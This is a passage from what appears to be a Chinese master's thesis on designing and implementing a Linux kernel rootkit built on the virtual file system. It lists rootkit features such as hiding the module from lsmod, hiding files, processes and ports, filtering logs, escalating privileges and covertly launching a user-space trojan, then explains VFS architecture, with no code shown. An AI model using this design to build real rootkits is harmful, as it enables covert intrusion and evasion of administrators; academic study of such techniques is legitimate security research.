(7) 隐藏自身。隐藏Rootkit的自身模块,防止管理员通过lsmod等命令查看模块的加载列表;

(8) 使用权限验证。通过验证码或其它授权方式,在使用内核Rootkit前需要对用户身份进行验证,防止其它非授权用户的滥用。

(9) 在内核空间启动用户空间程序,实现用户态的木马隐蔽启动。

5.1.3 系统总体的结构设计

对于内核Rootkit,由于加载在内核空间中工作,使用的资源有限,同时为了防止环节过多而降低其隐蔽性,我们选择了独立的工作模式,这样不仅较为灵活也可以提高内核Rootkit的生存能力,图5-1是功能模块的设计:

接收用户收入用户空间

用户和内核通信内核空间

使用权限验证用户态木马程序

控制模块

文件隐藏

进程隐藏端口隐藏日志过滤权限提升

图5-1系统功能模块架构

Fig 5-1 system function module structure

41

上海交通大学硕士学位论文 第五章 基于LINUX VFS的内核Rootkit分析与实现

5.2系统设计基础

5.2.1虚拟文件系统概述

众所周知,Linux 可以支持多种文件系统,其实现的基础就在于VFS,VFS让内核中的文件系统界面成为一条文件系统“总线”,使得用户程序可以通过同一个文件系统操作界面也就是同一组系统调用,对各种不同的文件系统进行操作。对用户隐去实现细节,为用户程序提供一个统一的、抽象的、虚拟的文件系统界 面,是一种抽象的、面向对象的接口技术,以系统调用的形式提供于用户程序[23]。5.2.2 VFS体系结构

VFS 的体系结构可如图5-2[3]所示。

用户空间

内核空间

用户进程

文件系统操作调用界面,read(),write(),open()

sys_read(),sys_write()sys_open()

通过file结构中的f_op指VFS

ntfs

Ext2

fatproc针实现的文件系统总线

引导块 超级块 索引节点 数据块

Ext2的逻辑磁盘结构Ext2超级块操作函数Ext2 节点操作函数

struct super_operations *s_op

struct super_operations *s_opwrite_suber()、put_suber()、read_inode()、get_info()、filldir、readdir…..图5-2 VFS体系结构Fig 5-2 VFS structure

如上图,用户程序把所有的文件都看作一致的、抽象的“VFS文件”,通过这些系统调用对文件进行操作,而无需关心具体的文件属于什么文件系统以及具体文件系统的设计和实现。VFS 并不是一种物理的文件系统,它仅是一套转换机制,它在系统启动时建立,在系统关闭时消失,并且仅存在于内存空间。所以,VFS并不具有一般物理文件系统的实体。在VFS 提供的接口中包含向各种物理文件系

42

本文标签: 系统内核进程调用